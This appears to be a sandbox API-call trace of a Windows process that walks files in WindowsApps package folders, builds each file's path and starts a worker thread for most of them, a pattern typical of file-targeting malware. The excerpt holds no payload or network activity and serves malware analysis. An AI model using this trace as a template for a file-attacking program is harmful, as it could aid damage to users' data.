	[0077.099] wcscat (in: _Dest=0x47c8aa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.099] wcscat (in: _Dest=0x47c8aa0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47c8aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbdc
	[0077.099] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bca1ad, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68bca1ad, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68c62b19, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1d1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsApp.exe", cAlternateFileName="")) returned 1
	[0077.099] wcscmp (_String1="CallsApp.exe", _String2=".") returned 1
	[0077.099] wcscmp (_String1="CallsApp.exe", _String2="..") returned 1
	[0077.099] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68c62b19, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68c62b19, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68c62b19, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsApp.winmd", cAlternateFileName="")) returned 1
	[0077.100] wcscmp (_String1="CallsApp.winmd", _String2=".") returned 1
	[0077.100] wcscmp (_String1="CallsApp.winmd", _String2="..") returned 1
	[0077.100] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ca6f0
	[0077.100] wcscpy (in: _Dest=0x47ca6f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.100] wcscat (in: _Dest=0x47ca6f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.100] wcscat (in: _Dest=0x47ca6f0, _Source="CallsApp.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd"
	[0077.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ca6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe0
	[0077.100] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68c62b19, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68c62b19, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68d6db88, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x330200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsCore.dll", cAlternateFileName="")) returned 1
	[0077.100] wcscmp (_String1="CallsCore.dll", _String2=".") returned 1
	[0077.100] wcscmp (_String1="CallsCore.dll", _String2="..") returned 1
	[0077.100] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68d6db88, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68d6db88, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68d6db88, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsCore.winmd", cAlternateFileName="")) returned 1
	[0077.101] wcscmp (_String1="CallsCore.winmd", _String2=".") returned 1
	[0077.101] wcscmp (_String1="CallsCore.winmd", _String2="..") returned 1
	[0077.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47ca890
	[0077.101] wcscpy (in: _Dest=0x47ca890, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.101] wcscat (in: _Dest=0x47ca890, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.101] wcscat (in: _Dest=0x47ca890, _Source="CallsCore.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd"
	[0077.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ca890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe4
	[0077.101] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68d6db88, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68d6db88, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e78f63, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x59800, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsPresenters.dll", cAlternateFileName="")) returned 1
	[0077.101] wcscmp (_String1="CallsPresenters.dll", _String2=".") returned 1
	[0077.101] wcscmp (_String1="CallsPresenters.dll", _String2="..") returned 1
	[0077.101] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68e78f63, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68e78f63, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e78f63, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsResources.dll", cAlternateFileName="")) returned 1
	[0077.101] wcscmp (_String1="CallsResources.dll", _String2=".") returned 1
	[0077.102] wcscmp (_String1="CallsResources.dll", _String2="..") returned 1
	[0077.102] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68e78f63, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68e78f63, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e78f63, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsResources.winmd", cAlternateFileName="")) returned 1
	[0077.102] wcscmp (_String1="CallsResources.winmd", _String2=".") returned 1
	[0077.102] wcscmp (_String1="CallsResources.winmd", _String2="..") returned 1
	[0077.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e115a0
	[0077.102] wcscpy (in: _Dest=0x2e115a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.102] wcscat (in: _Dest=0x2e115a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.102] wcscat (in: _Dest=0x2e115a0, _Source="CallsResources.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd"
	[0077.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e115a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe8
	[0077.103] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68e78f63, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68e78f63, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e78f63, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsRTShims.dll", cAlternateFileName="")) returned 1
	[0077.103] wcscmp (_String1="CallsRTShims.dll", _String2=".") returned 1
	[0077.103] wcscmp (_String1="CallsRTShims.dll", _String2="..") returned 1
	[0077.104] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68e9ee55, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68e9ee55, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e9ee55, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CallsRTShims.winmd", cAlternateFileName="")) returned 1
	[0077.104] wcscmp (_String1="CallsRTShims.winmd", _String2=".") returned 1
	[0077.104] wcscmp (_String1="CallsRTShims.winmd", _String2="..") returned 1
	[0077.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e124d0
	[0077.104] wcscpy (in: _Dest=0x2e124d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.104] wcscat (in: _Dest=0x2e124d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.104] wcscat (in: _Dest=0x2e124d0, _Source="CallsRTShims.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd"
	[0077.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e124d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbec
	[0077.104] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68e9ee55, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68e9ee55, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e9ee55, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.Controls.winmd", cAlternateFileName="")) returned 1
	[0077.104] wcscmp (_String1="Microsoft.People.Controls.winmd", _String2=".") returned 1
	[0077.104] wcscmp (_String1="Microsoft.People.Controls.winmd", _String2="..") returned 1
	[0077.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e475e0
	[0077.105] wcscpy (in: _Dest=0x2e475e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.105] wcscat (in: _Dest=0x2e475e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.105] wcscat (in: _Dest=0x2e475e0, _Source="Microsoft.People.Controls.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd"
	[0077.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e475e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0
	[0077.105] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x134444f, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x134444f, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.105] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.105] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e01fb8
	[0077.105] wcscpy (in: _Dest=0x2e01fb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.105] wcscat (in: _Dest=0x2e01fb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.105] wcscat (in: _Dest=0x2e01fb8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e01fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4
	[0077.107] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68e9ee55, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68e9ee55, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e9ee55, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x51c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonPicture.UAP.dll", cAlternateFileName="")) returned 1
	[0077.107] wcscmp (_String1="PersonPicture.UAP.dll", _String2=".") returned 1
	[0077.107] wcscmp (_String1="PersonPicture.UAP.dll", _String2="..") returned 1
	[0077.107] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ec50b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ec50b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ec50b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x26770, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.107] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.107] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cbe40
	[0077.107] wcscpy (in: _Dest=0x47cbe40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.107] wcscat (in: _Dest=0x47cbe40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.107] wcscat (in: _Dest=0x47cbe40, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0077.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47cbe40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf8
	[0077.108] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ec50b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ec50b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ec50b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPhoneReservedAppInfo.xml", cAlternateFileName="")) returned 1
	[0077.108] wcscmp (_String1="WindowsPhoneReservedAppInfo.xml", _String2=".") returned 1
	[0077.108] wcscmp (_String1="WindowsPhoneReservedAppInfo.xml", _String2="..") returned 1
	[0077.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e020a8
	[0077.108] wcscpy (in: _Dest=0x2e020a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.108] wcscat (in: _Dest=0x2e020a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.108] wcscat (in: _Dest=0x2e020a8, _Source="WindowsPhoneReservedAppInfo.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml"
	[0077.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e020a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc
	[0077.108] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ec50b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ec50b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ec50b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPhoneReservedAppInfo.xml", cAlternateFileName="")) returned 0
	[0077.109] FindClose (in: hFindFile=0x2d71140 | out: hFindFile=0x2d71140) returned 1
	[0077.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbec58) returned 1
	[0077.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61bb0) returned 1
	[0077.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d618f0) returned 1

Thread:
	id = 265
	os_tid = 0x1330

	[0076.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x2d88600
	[0076.790] wcscpy (in: _Dest=0x2d88600, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe"
	[0076.790] wcscat (in: _Dest=0x2d88600, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.790] wcscat (in: _Dest=0x2d88600, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0e08
	[0076.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab021835, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad538
	[0078.795] wcscmp (_String1=".", _String2=".") returned 0
	[0078.795] FindNextFileW (in: hFindFile=0x2dad538, lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab021835, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.795] wcscmp (_String1="..", _String2=".") returned 1
	[0078.795] wcscmp (_String1="..", _String2="..") returned 0
	[0078.795] FindNextFileW (in: hFindFile=0x2dad538, lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd528e480, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd528e480, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd528e480, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.795] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.795] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x47674f0
	[0078.795] wcscpy (in: _Dest=0x47674f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe"
	[0078.795] wcscat (in: _Dest=0x47674f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\"
